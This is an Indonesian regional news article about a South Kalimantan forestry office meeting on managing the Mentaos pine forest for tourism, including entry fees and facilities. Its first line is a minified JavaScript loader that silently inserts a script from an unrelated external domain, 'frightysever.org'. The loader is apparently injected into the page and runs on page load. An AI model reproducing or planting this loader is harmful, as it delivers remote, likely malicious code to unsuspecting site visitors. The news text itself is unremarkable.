(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dishut (Dinas Kehutanan) Kalsel melaksanakan rapat lanjutan terkait pengelolaan Hutan Pinus Mentaos. Rapat tersebut dilaksanakan di aula Rimbawan 1 kantor Dishut Kalsel dengan tetap menerapkan protokol kesehatan, Senin (23/5/2022).
Rapat dibuka langsung oleh Kadishut Kalsel Fathimatuzzahra diihadiri Esselon 3 dan 4 Dishut, serta UPT Tahura Sultan Adam.
“Rapat kali ini mengenai lanjutan rapat kemarin, terkait rencana pengelolaan di hutan Pinus Mentaos, dalam hal ini nanti bisa disampaikan kritik dan sarannya agar kita semua menemukan kesepahaman bersama dalam pengelolaan di hutan pinus,” kata Fathimatuzzahra
Fathimatuzzahra menambahkan terkait penambahan sarpras dan kegiatan pembersihan/pruning agar hutan pinus semakin indah dan tidak lagi terlihat gelap karena terlalu banyak pepohonan.
Baca juga : Prioritas Produk Dalam Negeri, Banjarbaru Peringkat Tertinggi di Kalsel RUP Tervalidasi
“Kita rencanannya akan membangun pandopo rakyat di sekitar hutan pinus, kemudian pembersihan agar di hutan pinus tidak terlihat gelap karena terlalu banyak pepohonan, seperti jenis pohon belinjo, nantinya akan kita rapikan agar lebih terlihat indah. Selain itu kita nantinya akan memberikan penambahan tanaman jenis ulin di areal-areal tertentu,” ucap Fathimatuzzahra.
Seluruh peserta dalam rapat tersebut juga menyutujui hasil kesepakatan terkait langkah-langkah pemanfaatan Hutan Pinus Mentaos yang diantaranya;
1.Inventarisir potensi pendapatan (pra wedding, karcis masuk, fasilitas sarpras, foto both, out bound, caffe)
2.Tarif tiket masuk/retribusi hutan pinus untuk dewasa Rp 5.000, untuk anak-anak Rp3.000, untuk rombongan dewasa Rp 3.000, dan untuk rombongan anak-anak Rp 2.000.
3. Koordinasi ke Biro Hukum dan Biro Ekonomi.
Secara panjang lebar rapat tersebut dilakukan untuk menemukan kesepahaman terkait pengelolaan-pengelolaan yang akan dilakukan di hutan pinus tersebut agar Hutan Pinus Mentaos bisa sebagai kawasan rekreasi, maupun alternatif destinasi wisata yang murah dan mudah dijangkau bagi warga. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.